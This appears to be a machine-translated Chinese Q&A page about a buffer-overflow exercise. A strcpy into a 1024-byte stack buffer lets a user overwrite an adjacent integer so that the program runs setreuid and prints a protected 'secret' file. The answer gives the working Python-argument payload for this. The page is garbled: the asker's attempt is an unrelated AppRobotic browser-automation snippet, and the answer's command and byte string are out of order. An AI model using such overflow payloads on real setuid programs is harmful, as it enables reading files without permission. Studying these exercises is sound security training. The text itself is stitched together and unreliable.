下面是文件q2.c中的代码
我需要使用内存漏洞读取我的群组没有读取权限的文件“秘密”的内容。
我尝试使用import win32com.client
x = win32com.client.Dispatch("AppRobotic.API")
import webbrowser
# specify URL
url = "https://www.google.com"
# open with default browser
webbrowser.open_new(url)
# wait a bit for page to open
x.Wait(3000)
# use UI Item Explorer to find the X,Y coordinates of Search box
x.MoveCursor(438, 435)
# click inside Search box
x.MouseLeftClick
x.Type("AppRobotic")
x.Type("{ENTER}")
来获取文件'secret'的输出(请看第28行),但是可能是我犯了一些错误。
./q2 $(python -c 'print "\xad\xdd\xba"*1024 ')
答案 0 :(得分:0)
当您从命令传递参数时,会发生问题:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
// the struct is used to ensure the loc variables are in the same order
// without struct, compiler can swap these around making expolit impossible
struct {
char buffer[1024];
volatile int changeme;
} locals;
locals.changeme = 0;
if (argc != 2) {
printf("Usage: q2 <some string>\n");
return 1;
}
// copy argument to the buffer
strcpy(locals.buffer, argv[1]);
// reveal the secret if "changeme" has been changed
if (locals.changeme == 0xbaddad) {
setreuid(geteuid(),getegid());
system("cat /home/q2/secret");
}
else {
printf("Try again!\n");
}
exit(0);
}
这里$(python -c 'print "\xad\xdd\xba"*1024 ')
实际上占用3个字节,因此变成3 * 1024个字节。另外1024不能被3整除,如果缓冲区的大小为1023,那么它将起作用。
因此,请尝试以下操作:
\xad\xdd\xba
它将用$(python -c 'print "\xab" * 1024 + "\xad\xdd\xba"')
填充缓冲区,然后在接下来的三个字节中,将用所需的值填充整数。